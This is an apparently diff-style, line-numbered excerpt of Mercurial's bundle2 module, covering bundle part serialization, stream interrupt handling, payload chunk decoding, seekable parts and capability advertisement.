1178 header.append(key)
1175 header.append(value)
1179 header.append(value)
1176 for key, value in advpar:
1180 for key, value in advpar:
1177 header.append(key)
1181 header.append(key)
1178 header.append(value)
1182 header.append(value)
1179 ## finalize header
1183 ## finalize header
1180 try:
1184 try:
1181 headerchunk = b''.join(header)
1185 headerchunk = b''.join(header)
1182 except TypeError:
1186 except TypeError:
1183 raise TypeError(
1187 raise TypeError(
1184 'Found a non-bytes trying to '
1188 'Found a non-bytes trying to '
1185 'build bundle part header: %r' % header
1189 'build bundle part header: %r' % header
1186 )
1190 )
1187 outdebug(ui, b'header chunk size: %i' % len(headerchunk))
1191 outdebug(ui, b'header chunk size: %i' % len(headerchunk))
1188 yield _pack(_fpartheadersize, len(headerchunk))
1192 yield _pack(_fpartheadersize, len(headerchunk))
1189 yield headerchunk
1193 yield headerchunk
1190 ## payload
1194 ## payload
1191 try:
1195 try:
1192 for chunk in self._payloadchunks():
1196 for chunk in self._payloadchunks():
1193 outdebug(ui, b'payload chunk size: %i' % len(chunk))
1197 outdebug(ui, b'payload chunk size: %i' % len(chunk))
1194 yield _pack(_fpayloadsize, len(chunk))
1198 yield _pack(_fpayloadsize, len(chunk))
1195 yield chunk
1199 yield chunk
1196 except GeneratorExit:
1200 except GeneratorExit:
1197 # GeneratorExit means that nobody is listening for our
1201 # GeneratorExit means that nobody is listening for our
1198 # results anyway, so just bail quickly rather than trying
1202 # results anyway, so just bail quickly rather than trying
1199 # to produce an error part.
1203 # to produce an error part.
1200 ui.debug(b'bundle2-generatorexit\n')
1204 ui.debug(b'bundle2-generatorexit\n')
1201 raise
1205 raise
1202 except BaseException as exc:
1206 except BaseException as exc:
1203 bexc = stringutil.forcebytestr(exc)
1207 bexc = stringutil.forcebytestr(exc)
1204 # backup exception data for later
1208 # backup exception data for later
1205 ui.debug(
1209 ui.debug(
1206 b'bundle2-input-stream-interrupt: encoding exception %s' % bexc
1210 b'bundle2-input-stream-interrupt: encoding exception %s' % bexc
1207 )
1211 )
1208 tb = sys.exc_info()[2]
1212 tb = sys.exc_info()[2]
1209 msg = b'unexpected error: %s' % bexc
1213 msg = b'unexpected error: %s' % bexc
1210 interpart = bundlepart(
1214 interpart = bundlepart(
1211 b'error:abort', [(b'message', msg)], mandatory=False
1215 b'error:abort', [(b'message', msg)], mandatory=False
1212 )
1216 )
1213 interpart.id = 0
1217 interpart.id = 0
1214 yield _pack(_fpayloadsize, -1)
1218 yield _pack(_fpayloadsize, -1)
1215 for chunk in interpart.getchunks(ui=ui):
1219 for chunk in interpart.getchunks(ui=ui):
1216 yield chunk
1220 yield chunk
1217 outdebug(ui, b'closing payload chunk')
1221 outdebug(ui, b'closing payload chunk')
1218 # abort current part payload
1222 # abort current part payload
1219 yield _pack(_fpayloadsize, 0)
1223 yield _pack(_fpayloadsize, 0)
1220 pycompat.raisewithtb(exc, tb)
1224 pycompat.raisewithtb(exc, tb)
1221 # end of payload
1225 # end of payload
1222 outdebug(ui, b'closing payload chunk')
1226 outdebug(ui, b'closing payload chunk')
1223 yield _pack(_fpayloadsize, 0)
1227 yield _pack(_fpayloadsize, 0)
1224 self._generated = True
1228 self._generated = True
1225
1229
1226 def _payloadchunks(self):
1230 def _payloadchunks(self):
1227 """yield chunks of a the part payload
1231 """yield chunks of a the part payload
1228
1232
1229 Exists to handle the different methods to provide data to a part."""
1233 Exists to handle the different methods to provide data to a part."""
1230 # we only support fixed size data now.
1234 # we only support fixed size data now.
1231 # This will be improved in the future.
1235 # This will be improved in the future.
1232 if util.safehasattr(self.data, 'next') or util.safehasattr(
1236 if util.safehasattr(self.data, 'next') or util.safehasattr(
1233 self.data, b'__next__'
1237 self.data, b'__next__'
1234 ):
1238 ):
1235 buff = util.chunkbuffer(self.data)
1239 buff = util.chunkbuffer(self.data)
1236 chunk = buff.read(preferedchunksize)
1240 chunk = buff.read(preferedchunksize)
1237 while chunk:
1241 while chunk:
1238 yield chunk
1242 yield chunk
1239 chunk = buff.read(preferedchunksize)
1243 chunk = buff.read(preferedchunksize)
1240 elif len(self.data):
1244 elif len(self.data):
1241 yield self.data
1245 yield self.data
1242
1246
1243
1247
1244 flaginterrupt = -1
1248 flaginterrupt = -1
1245
1249
1246
1250
1247 class interrupthandler(unpackermixin):
1251 class interrupthandler(unpackermixin):
1248 """read one part and process it with restricted capability
1252 """read one part and process it with restricted capability
1249
1253
1250 This allows to transmit exception raised on the producer size during part
1254 This allows to transmit exception raised on the producer size during part
1251 iteration while the consumer is reading a part.
1255 iteration while the consumer is reading a part.
1252
1256
1253 Part processed in this manner only have access to a ui object,"""
1257 Part processed in this manner only have access to a ui object,"""
1254
1258
1255 def __init__(self, ui, fp):
1259 def __init__(self, ui, fp):
1256 super(interrupthandler, self).__init__(fp)
1260 super(interrupthandler, self).__init__(fp)
1257 self.ui = ui
1261 self.ui = ui
1258
1262
1259 def _readpartheader(self):
1263 def _readpartheader(self):
1260 """reads a part header size and return the bytes blob
1264 """reads a part header size and return the bytes blob
1261
1265
1262 returns None if empty"""
1266 returns None if empty"""
1263 headersize = self._unpack(_fpartheadersize)[0]
1267 headersize = self._unpack(_fpartheadersize)[0]
1264 if headersize < 0:
1268 if headersize < 0:
1265 raise error.BundleValueError(
1269 raise error.BundleValueError(
1266 b'negative part header size: %i' % headersize
1270 b'negative part header size: %i' % headersize
1267 )
1271 )
1268 indebug(self.ui, b'part header size: %i\n' % headersize)
1272 indebug(self.ui, b'part header size: %i\n' % headersize)
1269 if headersize:
1273 if headersize:
1270 return self._readexact(headersize)
1274 return self._readexact(headersize)
1271 return None
1275 return None
1272
1276
1273 def __call__(self):
1277 def __call__(self):
1274
1278
1275 self.ui.debug(
1279 self.ui.debug(
1276 b'bundle2-input-stream-interrupt: opening out of band context\n'
1280 b'bundle2-input-stream-interrupt: opening out of band context\n'
1277 )
1281 )
1278 indebug(self.ui, b'bundle2 stream interruption, looking for a part.')
1282 indebug(self.ui, b'bundle2 stream interruption, looking for a part.')
1279 headerblock = self._readpartheader()
1283 headerblock = self._readpartheader()
1280 if headerblock is None:
1284 if headerblock is None:
1281 indebug(self.ui, b'no part found during interruption.')
1285 indebug(self.ui, b'no part found during interruption.')
1282 return
1286 return
1283 part = unbundlepart(self.ui, headerblock, self._fp)
1287 part = unbundlepart(self.ui, headerblock, self._fp)
1284 op = interruptoperation(self.ui)
1288 op = interruptoperation(self.ui)
1285 hardabort = False
1289 hardabort = False
1286 try:
1290 try:
1287 _processpart(op, part)
1291 _processpart(op, part)
1288 except (SystemExit, KeyboardInterrupt):
1292 except (SystemExit, KeyboardInterrupt):
1289 hardabort = True
1293 hardabort = True
1290 raise
1294 raise
1291 finally:
1295 finally:
1292 if not hardabort:
1296 if not hardabort:
1293 part.consume()
1297 part.consume()
1294 self.ui.debug(
1298 self.ui.debug(
1295 b'bundle2-input-stream-interrupt: closing out of band context\n'
1299 b'bundle2-input-stream-interrupt: closing out of band context\n'
1296 )
1300 )
1297
1301
1298
1302
1299 class interruptoperation:
1303 class interruptoperation:
1300 """A limited operation to be use by part handler during interruption
1304 """A limited operation to be use by part handler during interruption
1301
1305
1302 It only have access to an ui object.
1306 It only have access to an ui object.
1303 """
1307 """
1304
1308
1305 def __init__(self, ui):
1309 def __init__(self, ui):
1306 self.ui = ui
1310 self.ui = ui
1307 self.reply = None
1311 self.reply = None
1308 self.captureoutput = False
1312 self.captureoutput = False
1309
1313
1310 @property
1314 @property
1311 def repo(self):
1315 def repo(self):
1312 raise error.ProgrammingError(b'no repo access from stream interruption')
1316 raise error.ProgrammingError(b'no repo access from stream interruption')
1313
1317
1314 def gettransaction(self):
1318 def gettransaction(self):
1315 raise TransactionUnavailable(b'no repo access from stream interruption')
1319 raise TransactionUnavailable(b'no repo access from stream interruption')
1316
1320
1317
1321
1318 def decodepayloadchunks(ui, fh):
1322 def decodepayloadchunks(ui, fh):
1319 """Reads bundle2 part payload data into chunks.
1323 """Reads bundle2 part payload data into chunks.
1320
1324
1321 Part payload data consists of framed chunks. This function takes
1325 Part payload data consists of framed chunks. This function takes
1322 a file handle and emits those chunks.
1326 a file handle and emits those chunks.
1323 """
1327 """
1324 dolog = ui.configbool(b'devel', b'bundle2.debug')
1328 dolog = ui.configbool(b'devel', b'bundle2.debug')
1325 debug = ui.debug
1329 debug = ui.debug
1326
1330
1327 headerstruct = struct.Struct(_fpayloadsize)
1331 headerstruct = struct.Struct(_fpayloadsize)
1328 headersize = headerstruct.size
1332 headersize = headerstruct.size
1329 unpack = headerstruct.unpack
1333 unpack = headerstruct.unpack
1330
1334
1331 readexactly = changegroup.readexactly
1335 readexactly = changegroup.readexactly
1332 read = fh.read
1336 read = fh.read
1333
1337
1334 chunksize = unpack(readexactly(fh, headersize))[0]
1338 chunksize = unpack(readexactly(fh, headersize))[0]
1335 indebug(ui, b'payload chunk size: %i' % chunksize)
1339 indebug(ui, b'payload chunk size: %i' % chunksize)
1336
1340
1337 # changegroup.readexactly() is inlined below for performance.
1341 # changegroup.readexactly() is inlined below for performance.
1338 while chunksize:
1342 while chunksize:
1339 if chunksize >= 0:
1343 if chunksize >= 0:
1340 s = read(chunksize)
1344 s = read(chunksize)
1341 if len(s) < chunksize:
1345 if len(s) < chunksize:
1342 raise error.Abort(
1346 raise error.Abort(
1343 _(
1347 _(
1344 b'stream ended unexpectedly '
1348 b'stream ended unexpectedly '
1345 b' (got %d bytes, expected %d)'
1349 b' (got %d bytes, expected %d)'
1346 )
1350 )
1347 % (len(s), chunksize)
1351 % (len(s), chunksize)
1348 )
1352 )
1349
1353
1350 yield s
1354 yield s
1351 elif chunksize == flaginterrupt:
1355 elif chunksize == flaginterrupt:
1352 # Interrupt "signal" detected. The regular stream is interrupted
1356 # Interrupt "signal" detected. The regular stream is interrupted
1353 # and a bundle2 part follows. Consume it.
1357 # and a bundle2 part follows. Consume it.
1354 interrupthandler(ui, fh)()
1358 interrupthandler(ui, fh)()
1355 else:
1359 else:
1356 raise error.BundleValueError(
1360 raise error.BundleValueError(
1357 b'negative payload chunk size: %s' % chunksize
1361 b'negative payload chunk size: %s' % chunksize
1358 )
1362 )
1359
1363
1360 s = read(headersize)
1364 s = read(headersize)
1361 if len(s) < headersize:
1365 if len(s) < headersize:
1362 raise error.Abort(
1366 raise error.Abort(
1363 _(b'stream ended unexpectedly (got %d bytes, expected %d)')
1367 _(b'stream ended unexpectedly (got %d bytes, expected %d)')
1364 % (len(s), chunksize)
1368 % (len(s), chunksize)
1365 )
1369 )
1366
1370
1367 chunksize = unpack(s)[0]
1371 chunksize = unpack(s)[0]
1368
1372
1369 # indebug() inlined for performance.
1373 # indebug() inlined for performance.
1370 if dolog:
1374 if dolog:
1371 debug(b'bundle2-input: payload chunk size: %i\n' % chunksize)
1375 debug(b'bundle2-input: payload chunk size: %i\n' % chunksize)
1372
1376
1373
1377
1374 class unbundlepart(unpackermixin):
1378 class unbundlepart(unpackermixin):
1375 """a bundle part read from a bundle"""
1379 """a bundle part read from a bundle"""
1376
1380
1377 def __init__(self, ui, header, fp):
1381 def __init__(self, ui, header, fp):
1378 super(unbundlepart, self).__init__(fp)
1382 super(unbundlepart, self).__init__(fp)
1379 self._seekable = util.safehasattr(fp, 'seek') and util.safehasattr(
1383 self._seekable = util.safehasattr(fp, 'seek') and util.safehasattr(
1380 fp, b'tell'
1384 fp, b'tell'
1381 )
1385 )
1382 self.ui = ui
1386 self.ui = ui
1383 # unbundle state attr
1387 # unbundle state attr
1384 self._headerdata = header
1388 self._headerdata = header
1385 self._headeroffset = 0
1389 self._headeroffset = 0
1386 self._initialized = False
1390 self._initialized = False
1387 self.consumed = False
1391 self.consumed = False
1388 # part data
1392 # part data
1389 self.id = None
1393 self.id = None
1390 self.type = None
1394 self.type = None
1391 self.mandatoryparams = None
1395 self.mandatoryparams = None
1392 self.advisoryparams = None
1396 self.advisoryparams = None
1393 self.params = None
1397 self.params = None
1394 self.mandatorykeys = ()
1398 self.mandatorykeys = ()
1395 self._readheader()
1399 self._readheader()
1396 self._mandatory = None
1400 self._mandatory = None
1397 self._pos = 0
1401 self._pos = 0
1398
1402
1399 def _fromheader(self, size):
1403 def _fromheader(self, size):
1400 """return the next <size> byte from the header"""
1404 """return the next <size> byte from the header"""
1401 offset = self._headeroffset
1405 offset = self._headeroffset
1402 data = self._headerdata[offset : (offset + size)]
1406 data = self._headerdata[offset : (offset + size)]
1403 self._headeroffset = offset + size
1407 self._headeroffset = offset + size
1404 return data
1408 return data
1405
1409
1406 def _unpackheader(self, format):
1410 def _unpackheader(self, format):
1407 """read given format from header
1411 """read given format from header
1408
1412
1409 This automatically compute the size of the format to read."""
1413 This automatically compute the size of the format to read."""
1410 data = self._fromheader(struct.calcsize(format))
1414 data = self._fromheader(struct.calcsize(format))
1411 return _unpack(format, data)
1415 return _unpack(format, data)
1412
1416
1413 def _initparams(self, mandatoryparams, advisoryparams):
1417 def _initparams(self, mandatoryparams, advisoryparams):
1414 """internal function to setup all logic related parameters"""
1418 """internal function to setup all logic related parameters"""
1415 # make it read only to prevent people touching it by mistake.
1419 # make it read only to prevent people touching it by mistake.
1416 self.mandatoryparams = tuple(mandatoryparams)
1420 self.mandatoryparams = tuple(mandatoryparams)
1417 self.advisoryparams = tuple(advisoryparams)
1421 self.advisoryparams = tuple(advisoryparams)
1418 # user friendly UI
1422 # user friendly UI
1419 self.params = util.sortdict(self.mandatoryparams)
1423 self.params = util.sortdict(self.mandatoryparams)
1420 self.params.update(self.advisoryparams)
1424 self.params.update(self.advisoryparams)
1421 self.mandatorykeys = frozenset(p[0] for p in mandatoryparams)
1425 self.mandatorykeys = frozenset(p[0] for p in mandatoryparams)
1422
1426
1423 def _readheader(self):
1427 def _readheader(self):
1424 """read the header and setup the object"""
1428 """read the header and setup the object"""
1425 typesize = self._unpackheader(_fparttypesize)[0]
1429 typesize = self._unpackheader(_fparttypesize)[0]
1426 self.type = self._fromheader(typesize)
1430 self.type = self._fromheader(typesize)
1427 indebug(self.ui, b'part type: "%s"' % self.type)
1431 indebug(self.ui, b'part type: "%s"' % self.type)
1428 self.id = self._unpackheader(_fpartid)[0]
1432 self.id = self._unpackheader(_fpartid)[0]
1429 indebug(self.ui, b'part id: "%s"' % pycompat.bytestr(self.id))
1433 indebug(self.ui, b'part id: "%s"' % pycompat.bytestr(self.id))
1430 # extract mandatory bit from type
1434 # extract mandatory bit from type
1431 self.mandatory = self.type != self.type.lower()
1435 self.mandatory = self.type != self.type.lower()
1432 self.type = self.type.lower()
1436 self.type = self.type.lower()
1433 ## reading parameters
1437 ## reading parameters
1434 # param count
1438 # param count
1435 mancount, advcount = self._unpackheader(_fpartparamcount)
1439 mancount, advcount = self._unpackheader(_fpartparamcount)
1436 indebug(self.ui, b'part parameters: %i' % (mancount + advcount))
1440 indebug(self.ui, b'part parameters: %i' % (mancount + advcount))
1437 # param size
1441 # param size
1438 fparamsizes = _makefpartparamsizes(mancount + advcount)
1442 fparamsizes = _makefpartparamsizes(mancount + advcount)
1439 paramsizes = self._unpackheader(fparamsizes)
1443 paramsizes = self._unpackheader(fparamsizes)
1440 # make it a list of couple again
1444 # make it a list of couple again
1441 paramsizes = list(zip(paramsizes[::2], paramsizes[1::2]))
1445 paramsizes = list(zip(paramsizes[::2], paramsizes[1::2]))
1442 # split mandatory from advisory
1446 # split mandatory from advisory
1443 mansizes = paramsizes[:mancount]
1447 mansizes = paramsizes[:mancount]
1444 advsizes = paramsizes[mancount:]
1448 advsizes = paramsizes[mancount:]
1445 # retrieve param value
1449 # retrieve param value
1446 manparams = []
1450 manparams = []
1447 for key, value in mansizes:
1451 for key, value in mansizes:
1448 manparams.append((self._fromheader(key), self._fromheader(value)))
1452 manparams.append((self._fromheader(key), self._fromheader(value)))
1449 advparams = []
1453 advparams = []
1450 for key, value in advsizes:
1454 for key, value in advsizes:
1451 advparams.append((self._fromheader(key), self._fromheader(value)))
1455 advparams.append((self._fromheader(key), self._fromheader(value)))
1452 self._initparams(manparams, advparams)
1456 self._initparams(manparams, advparams)
1453 ## part payload
1457 ## part payload
1454 self._payloadstream = util.chunkbuffer(self._payloadchunks())
1458 self._payloadstream = util.chunkbuffer(self._payloadchunks())
1455 # we read the data, tell it
1459 # we read the data, tell it
1456 self._initialized = True
1460 self._initialized = True
1457
1461
1458 def _payloadchunks(self):
1462 def _payloadchunks(self):
1459 """Generator of decoded chunks in the payload."""
1463 """Generator of decoded chunks in the payload."""
1460 return decodepayloadchunks(self.ui, self._fp)
1464 return decodepayloadchunks(self.ui, self._fp)
1461
1465
1462 def consume(self):
1466 def consume(self):
1463 """Read the part payload until completion.
1467 """Read the part payload until completion.
1464
1468
1465 By consuming the part data, the underlying stream read offset will
1469 By consuming the part data, the underlying stream read offset will
1466 be advanced to the next part (or end of stream).
1470 be advanced to the next part (or end of stream).
1467 """
1471 """
1468 if self.consumed:
1472 if self.consumed:
1469 return
1473 return
1470
1474
1471 chunk = self.read(32768)
1475 chunk = self.read(32768)
1472 while chunk:
1476 while chunk:
1473 self._pos += len(chunk)
1477 self._pos += len(chunk)
1474 chunk = self.read(32768)
1478 chunk = self.read(32768)
1475
1479
1476 def read(self, size=None):
1480 def read(self, size=None):
1477 """read payload data"""
1481 """read payload data"""
1478 if not self._initialized:
1482 if not self._initialized:
1479 self._readheader()
1483 self._readheader()
1480 if size is None:
1484 if size is None:
1481 data = self._payloadstream.read()
1485 data = self._payloadstream.read()
1482 else:
1486 else:
1483 data = self._payloadstream.read(size)
1487 data = self._payloadstream.read(size)
1484 self._pos += len(data)
1488 self._pos += len(data)
1485 if size is None or len(data) < size:
1489 if size is None or len(data) < size:
1486 if not self.consumed and self._pos:
1490 if not self.consumed and self._pos:
1487 self.ui.debug(
1491 self.ui.debug(
1488 b'bundle2-input-part: total payload size %i\n' % self._pos
1492 b'bundle2-input-part: total payload size %i\n' % self._pos
1489 )
1493 )
1490 self.consumed = True
1494 self.consumed = True
1491 return data
1495 return data
1492
1496
1493
1497
1494 class seekableunbundlepart(unbundlepart):
1498 class seekableunbundlepart(unbundlepart):
1495 """A bundle2 part in a bundle that is seekable.
1499 """A bundle2 part in a bundle that is seekable.
1496
1500
1497 Regular ``unbundlepart`` instances can only be read once. This class
1501 Regular ``unbundlepart`` instances can only be read once. This class
1498 extends ``unbundlepart`` to enable bi-directional seeking within the
1502 extends ``unbundlepart`` to enable bi-directional seeking within the
1499 part.
1503 part.
1500
1504
1501 Bundle2 part data consists of framed chunks. Offsets when seeking
1505 Bundle2 part data consists of framed chunks. Offsets when seeking
1502 refer to the decoded data, not the offsets in the underlying bundle2
1506 refer to the decoded data, not the offsets in the underlying bundle2
1503 stream.
1507 stream.
1504
1508
1505 To facilitate quickly seeking within the decoded data, instances of this
1509 To facilitate quickly seeking within the decoded data, instances of this
1506 class maintain a mapping between offsets in the underlying stream and
1510 class maintain a mapping between offsets in the underlying stream and
1507 the decoded payload. This mapping will consume memory in proportion
1511 the decoded payload. This mapping will consume memory in proportion
1508 to the number of chunks within the payload (which almost certainly
1512 to the number of chunks within the payload (which almost certainly
1509 increases in proportion with the size of the part).
1513 increases in proportion with the size of the part).
1510 """
1514 """
1511
1515
1512 def __init__(self, ui, header, fp):
1516 def __init__(self, ui, header, fp):
1513 # (payload, file) offsets for chunk starts.
1517 # (payload, file) offsets for chunk starts.
1514 self._chunkindex = []
1518 self._chunkindex = []
1515
1519
1516 super(seekableunbundlepart, self).__init__(ui, header, fp)
1520 super(seekableunbundlepart, self).__init__(ui, header, fp)
1517
1521
1518 def _payloadchunks(self, chunknum=0):
1522 def _payloadchunks(self, chunknum=0):
1519 '''seek to specified chunk and start yielding data'''
1523 '''seek to specified chunk and start yielding data'''
1520 if len(self._chunkindex) == 0:
1524 if len(self._chunkindex) == 0:
1521 assert chunknum == 0, b'Must start with chunk 0'
1525 assert chunknum == 0, b'Must start with chunk 0'
1522 self._chunkindex.append((0, self._tellfp()))
1526 self._chunkindex.append((0, self._tellfp()))
1523 else:
1527 else:
1524 assert chunknum < len(self._chunkindex), (
1528 assert chunknum < len(self._chunkindex), (
1525 b'Unknown chunk %d' % chunknum
1529 b'Unknown chunk %d' % chunknum
1526 )
1530 )
1527 self._seekfp(self._chunkindex[chunknum][1])
1531 self._seekfp(self._chunkindex[chunknum][1])
1528
1532
1529 pos = self._chunkindex[chunknum][0]
1533 pos = self._chunkindex[chunknum][0]
1530
1534
1531 for chunk in decodepayloadchunks(self.ui, self._fp):
1535 for chunk in decodepayloadchunks(self.ui, self._fp):
1532 chunknum += 1
1536 chunknum += 1
1533 pos += len(chunk)
1537 pos += len(chunk)
1534 if chunknum == len(self._chunkindex):
1538 if chunknum == len(self._chunkindex):
1535 self._chunkindex.append((pos, self._tellfp()))
1539 self._chunkindex.append((pos, self._tellfp()))
1536
1540
1537 yield chunk
1541 yield chunk
1538
1542
1539 def _findchunk(self, pos):
1543 def _findchunk(self, pos):
1540 '''for a given payload position, return a chunk number and offset'''
1544 '''for a given payload position, return a chunk number and offset'''
1541 for chunk, (ppos, fpos) in enumerate(self._chunkindex):
1545 for chunk, (ppos, fpos) in enumerate(self._chunkindex):
1542 if ppos == pos:
1546 if ppos == pos:
1543 return chunk, 0
1547 return chunk, 0
1544 elif ppos > pos:
1548 elif ppos > pos:
1545 return chunk - 1, pos - self._chunkindex[chunk - 1][0]
1549 return chunk - 1, pos - self._chunkindex[chunk - 1][0]
1546 raise ValueError(b'Unknown chunk')
1550 raise ValueError(b'Unknown chunk')
1547
1551
1548 def tell(self):
1552 def tell(self):
1549 return self._pos
1553 return self._pos
1550
1554
1551 def seek(self, offset, whence=os.SEEK_SET):
1555 def seek(self, offset, whence=os.SEEK_SET):
1552 if whence == os.SEEK_SET:
1556 if whence == os.SEEK_SET:
1553 newpos = offset
1557 newpos = offset
1554 elif whence == os.SEEK_CUR:
1558 elif whence == os.SEEK_CUR:
1555 newpos = self._pos + offset
1559 newpos = self._pos + offset
1556 elif whence == os.SEEK_END:
1560 elif whence == os.SEEK_END:
1557 if not self.consumed:
1561 if not self.consumed:
1558 # Can't use self.consume() here because it advances self._pos.
1562 # Can't use self.consume() here because it advances self._pos.
1559 chunk = self.read(32768)
1563 chunk = self.read(32768)
1560 while chunk:
1564 while chunk:
1561 chunk = self.read(32768)
1565 chunk = self.read(32768)
1562 newpos = self._chunkindex[-1][0] - offset
1566 newpos = self._chunkindex[-1][0] - offset
1563 else:
1567 else:
1564 raise ValueError(b'Unknown whence value: %r' % (whence,))
1568 raise ValueError(b'Unknown whence value: %r' % (whence,))
1565
1569
1566 if newpos > self._chunkindex[-1][0] and not self.consumed:
1570 if newpos > self._chunkindex[-1][0] and not self.consumed:
1567 # Can't use self.consume() here because it advances self._pos.
1571 # Can't use self.consume() here because it advances self._pos.
1568 chunk = self.read(32768)
1572 chunk = self.read(32768)
1569 while chunk:
1573 while chunk:
1570 chunk = self.read(32668)
1574 chunk = self.read(32668)
1571
1575
1572 if not 0 <= newpos <= self._chunkindex[-1][0]:
1576 if not 0 <= newpos <= self._chunkindex[-1][0]:
1573 raise ValueError(b'Offset out of range')
1577 raise ValueError(b'Offset out of range')
1574
1578
1575 if self._pos != newpos:
1579 if self._pos != newpos:
1576 chunk, internaloffset = self._findchunk(newpos)
1580 chunk, internaloffset = self._findchunk(newpos)
1577 self._payloadstream = util.chunkbuffer(self._payloadchunks(chunk))
1581 self._payloadstream = util.chunkbuffer(self._payloadchunks(chunk))
1578 adjust = self.read(internaloffset)
1582 adjust = self.read(internaloffset)
1579 if len(adjust) != internaloffset:
1583 if len(adjust) != internaloffset:
1580 raise error.Abort(_(b'Seek failed\n'))
1584 raise error.Abort(_(b'Seek failed\n'))
1581 self._pos = newpos
1585 self._pos = newpos
1582
1586
1583 def _seekfp(self, offset, whence=0):
1587 def _seekfp(self, offset, whence=0):
1584 """move the underlying file pointer
1588 """move the underlying file pointer
1585
1589
1586 This method is meant for internal usage by the bundle2 protocol only.
1590 This method is meant for internal usage by the bundle2 protocol only.
1587 They directly manipulate the low level stream including bundle2 level
1591 They directly manipulate the low level stream including bundle2 level
1588 instruction.
1592 instruction.
1589
1593
1590 Do not use it to implement higher-level logic or methods."""
1594 Do not use it to implement higher-level logic or methods."""
1591 if self._seekable:
1595 if self._seekable:
1592 return self._fp.seek(offset, whence)
1596 return self._fp.seek(offset, whence)
1593 else:
1597 else:
1594 raise NotImplementedError(_(b'File pointer is not seekable'))
1598 raise NotImplementedError(_(b'File pointer is not seekable'))
1595
1599
1596 def _tellfp(self):
1600 def _tellfp(self):
1597 """return the file offset, or None if file is not seekable
1601 """return the file offset, or None if file is not seekable
1598
1602
1599 This method is meant for internal usage by the bundle2 protocol only.
1603 This method is meant for internal usage by the bundle2 protocol only.
1600 They directly manipulate the low level stream including bundle2 level
1604 They directly manipulate the low level stream including bundle2 level
1601 instruction.
1605 instruction.
1602
1606
1603 Do not use it to implement higher-level logic or methods."""
1607 Do not use it to implement higher-level logic or methods."""
1604 if self._seekable:
1608 if self._seekable:
1605 try:
1609 try:
1606 return self._fp.tell()
1610 return self._fp.tell()
1607 except IOError as e:
1611 except IOError as e:
1608 if e.errno == errno.ESPIPE:
1612 if e.errno == errno.ESPIPE:
1609 self._seekable = False
1613 self._seekable = False
1610 else:
1614 else:
1611 raise
1615 raise
1612 return None
1616 return None
1613
1617
1614
1618
1615 # These are only the static capabilities.
1619 # These are only the static capabilities.
1616 # Check the 'getrepocaps' function for the rest.
1620 # Check the 'getrepocaps' function for the rest.
1617 capabilities = {
1621 capabilities = {
1618 b'HG20': (),
1622 b'HG20': (),
1619 b'bookmarks': (),
1623 b'bookmarks': (),
1620 b'error': (b'abort', b'unsupportedcontent', b'pushraced', b'pushkey'),
1624 b'error': (b'abort', b'unsupportedcontent', b'pushraced', b'pushkey'),
1621 b'listkeys': (),
1625 b'listkeys': (),
1622 b'pushkey': (),
1626 b'pushkey': (),
1623 b'digests': tuple(sorted(util.DIGESTS.keys())),
1627 b'digests': tuple(sorted(util.DIGESTS.keys())),
1624 b'remote-changegroup': (b'http', b'https'),
1628 b'remote-changegroup': (b'http', b'https'),
1625 b'hgtagsfnodes': (),
1629 b'hgtagsfnodes': (),
1626 b'phases': (b'heads',),
1630 b'phases': (b'heads',),
1627 b'stream': (b'v2',),
1631 b'stream': (b'v2',),
1628 }
1632 }
1629
1633
1630
1634
1631 def getrepocaps(repo, allowpushback=False, role=None):
1635 def getrepocaps(repo, allowpushback=False, role=None):
1632 """return the bundle2 capabilities for a given repo
1636 """return the bundle2 capabilities for a given repo
1633
1637
1634 Exists to allow extensions (like evolution) to mutate the capabilities.
1638 Exists to allow extensions (like evolution) to mutate the capabilities.
1635
1639
1636 The returned value is used for servers advertising their capabilities as
1640 The returned value is used for servers advertising their capabilities as
1637 well as clients advertising their capabilities to servers as part of
1641 well as clients advertising their capabilities to servers as part of
1638 bundle2 requests. The ``role`` argument specifies which is which.
1642 bundle2 requests. The ``role`` argument specifies which is which.
1639 """
1643 """
1640 if role not in (b'client', b'server'):
1644 if role not in (b'client', b'server'):
1641 raise error.ProgrammingError(b'role argument must be client or server')
1645 raise error.ProgrammingError(b'role argument must be client or server')
1642
1646
1643 caps = capabilities.copy()
1647 caps = capabilities.copy()
1644 caps[b'changegroup'] = tuple(
1648 caps[b'changegroup'] = tuple(
1645 sorted(changegroup.supportedincomingversions(repo))
1649 sorted(changegroup.supportedincomingversions(repo))
1646 )
1650 )
1647 if obsolete.isenabled(repo, obsolete.exchangeopt):
1651 if obsolete.isenabled(repo, obsolete.exchangeopt):
1648 supportedformat = tuple(b'V%i' % v for v in obsolete.formats)
1652 supportedformat = tuple(b'V%i' % v for v in obsolete.formats)
1649 caps[b'obsmarkers'] = supportedformat
1653 caps[b'obsmarkers'] = supportedformat
1650 if allowpushback:
1654 if allowpushback:
1651 caps[b'pushback'] = ()
1655 caps[b'pushback'] = ()
1652 cpmode = repo.ui.config(b'server', b'concurrent-push-mode')
1656 cpmode = repo.ui.config(b'server', b'concurrent-push-mode')
1653 if cpmode == b'check-related':
1657 if cpmode == b'check-related':
1654 caps[b'checkheads'] = (b'related',)
1658 caps[b'checkheads'] = (b'related',)
1655 if b'phases' in repo.ui.configlist(b'devel', b'legacy.exchange'):
1659 if b'phases' in repo.ui.configlist(b'devel', b'legacy.exchange'):
1656 caps.pop(b'phases')
1660 caps.pop(b'phases')
1657
1661
1658 # Don't advertise stream clone support in server mode if not configured.
1662 # Don't advertise stream clone support in server mode if not configured.
1659 if role == b'server':
1663 if role == b'server':
1660 streamsupported = repo.ui.configbool(
1664 streamsupported = repo.ui.configbool(
1661 b'server', b'uncompressed', untrusted=True
1665 b'server', b'uncompressed', untrusted=True
1662 )
1666 )
1663 featuresupported = repo.ui.configbool(b'server', b'bundle2.stream')
1667 featuresupported = repo.ui.configbool(b'server', b'bundle2.stream')
1664
1668
1665 if not streamsupported or not featuresupported:
1669 if not streamsupported or not featuresupported:
1666 caps.pop(b'stream')
1670 caps.pop(b'stream')
1667 # Else always advertise support on client, because payload support
1671 # Else always advertise support on client, because payload support
1668 # should always be advertised.
1672 # should always be advertised.
1669
1673
1670 # b'rev-branch-cache is no longer advertised, but still supported
1674 # b'rev-branch-cache is no longer advertised, but still supported
1671 # for legacy clients.
1675 # for legacy clients.
1672
1676
1673 return caps
1677 return caps
1674
1678
1675
1679
1676 def bundle2caps(remote):
1680 def bundle2caps(remote):
1677 """return the bundle capabilities of a peer as dict"""
1681 """return the bundle capabilities of a peer as dict"""
1678 raw = remote.capable(b'bundle2')
1682 raw = remote.capable(b'bundle2')
1679 if not raw and raw != b'':
1683 if not raw and raw != b'':
1680 return {}
1684 return {}
1681 capsblob = urlreq.unquote(remote.capable(b'bundle2'))
